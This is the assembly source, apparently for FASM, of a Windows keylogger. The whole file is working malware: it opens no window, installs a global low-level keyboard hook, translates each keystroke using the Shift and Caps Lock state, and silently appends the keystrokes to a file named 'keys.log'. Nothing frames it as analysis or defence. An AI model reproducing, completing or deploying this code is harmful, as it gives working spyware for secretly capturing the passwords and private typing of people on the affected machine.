format PE GUI
entry start

include 'win32a.inc'

section '.text' code readable executable

start:
	push	NULL
	push	FILE_ATTRIBUTE_NORMAL
	push	OPEN_ALWAYS		; Creates a file if it doesn't exist
	push	NULL
	push	FILE_SHARE_READ		; Allow other processes to read
	push	0004h			; FILE_APPEND_DATA
	push	_file_name
	call	[CreateFile]

	mov	[hFile], eax

	push	NULL
	call	[GetModuleHandle]

	push	0
	push	eax
	push	LowLevelKeyboardHook
	push	WH_KEYBOARD_LL
	call	[SetWindowsHookEx]

; Try to keep the program running with an infinite loop
@@:
	push	0
	push	0
	push	NULL
	push	buffer
	call	[GetMessage]

	jmp	@b

proc LowLevelKeyboardHook nCode, wParam, lParam
	push	ebx
	push	esi
	push	edi

	cmp	[wParam], WM_KEYDOWN
	jne	callnexthookex

	; Translate the virtual-key code to something readable
	mov	esi, [lParam]		; Move the KBDLLHOOKSTRUCT to esi
	mov	esi, [esi]		; Move the vkCode to esi

	cmp	esi, 09h
	jb	callnexthookex		; Below the smallest vkCode allowed
	cmp	esi, 0DEh
	ja	callnexthookex		; Above the largest vkCode allowed

	push	VK_SHIFT
	call	[GetKeyState]

	test	eax, 00010000h
	setnz	bl		; Sets if shift key is down

	push	VK_CAPITAL
	call	[GetKeyState]

	test	eax, 1
	setnz	cl		; Sets if caps lock key is on

	test	bl, cl
	jnz	shift_capital	; Shift key is down and caps lock key is on
	test	bl, bl
	jnz	shift		; Shift key is down
	test	cl, cl
	jnz	capital		; Caps lock key is on

; Not using shift or caps lock
character:
	add	esi, _chars - 9		; Make esi point to the character

	jmp	writefile

shift_capital:
	; Use a character from shift but not if the vkCode is alphabetic
	cmp	esi, 41h
	jb	shift		; Below A key
	cmp	esi, 5Ah
	ja	shift		; Above Z key

	jmp	character

capital:
	; Use a character from shift if the vkCode is alphabetic
	cmp	esi, 41h
	jb	character		; Below A key
	cmp	esi, 5Ah
	ja	character		; Above Z key

shift:
	add	esi, _shift_chars - 9

writefile:
	; Check if the character is null
	mov	al, [esi]

	test	al, al
	jz	callnexthookex

	; Write the character
	push	NULL
	push	buffer
	push	1
	push	esi
	push	[hFile]
	call	[WriteFile]

; Call CallNextHookEx to keep the keyboard responsive
callnexthookex:
	push	[lParam]
	push	[wParam]
	push	[nCode]
	push	NULL
	call	[CallNextHookEx]

	pop	edi
	pop	esi
	pop	ebx

	ret
endp

section '.rdata' data readable

_file_name db 'keys.log', 0

; For translating virtual-key codes
_chars:
	db 09h
	rb 3
	db 0Ah
	rb 18
	db ' '
	rb 15
	db '0123456789'
	rb 7
	db 'abcdefghijklmnopqrstuvwxyz'
	rb 5
	db '0123456789*+', 0Ah, '-./'
	rb 74
	db ';=,-./`'
	rb 26
	db '[\]', "'"

_shift_chars:
	db 09h
	rb 3
	db 0Ah
	rb 18
	db ' '
	rb 15
	db ')!@#$%^&*('
	rb 7
	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
	rb 5
	db '0123456789*+', 0Ah, '-./'
	rb 74
	db ':+<_>?~'
	rb 26
	db '{|}"'

section '.bss' readable writeable

hFile dd ?		; Handle to the file

buffer rb 20		; Placeholder for GetMessage and WriteFile

section '.idata' import data readable writeable

dd 0, 0, 0, rva kernel_name, rva kernel_table
dd 0, 0, 0, rva user_name,   rva user_table
dd 0, 0, 0, 0, 0

kernel_name db 'kernel32.dll', 0
user_name   db 'user32.dll', 0

kernel_table:
	CreateFile	dd rva _CreateFileA
	GetModuleHandle dd rva _GetModuleHandleA
	WriteFile	dd rva _WriteFile
	dd 0

user_table:
	CallNextHookEx	 dd rva _CallNextHookEx
	GetKeyState	 dd rva _GetKeyState
	GetMessage	 dd rva _GetMessageA
	SetWindowsHookEx dd rva _SetWindowsHookExA
	TranslateMessage dd rva _TranslateMessage
	dd 0

; kernel32.dll
_CreateFileA	  db 0, 0, 'CreateFileA', 0
_GetModuleHandleA db 0, 0, 'GetModuleHandleA', 0
_WriteFile	  db 0, 0, 'WriteFile', 0

; user32.dll
_CallNextHookEx    db 0, 0, 'CallNextHookEx', 0
_GetKeyState	   db 0, 0, 'GetKeyState', 0
_GetMessageA	   db 0, 0, 'GetMessageA', 0
_SetWindowsHookExA db 0, 0, 'SetWindowsHookExA', 0
_TranslateMessage  db 0, 0, 'TranslateMessage', 0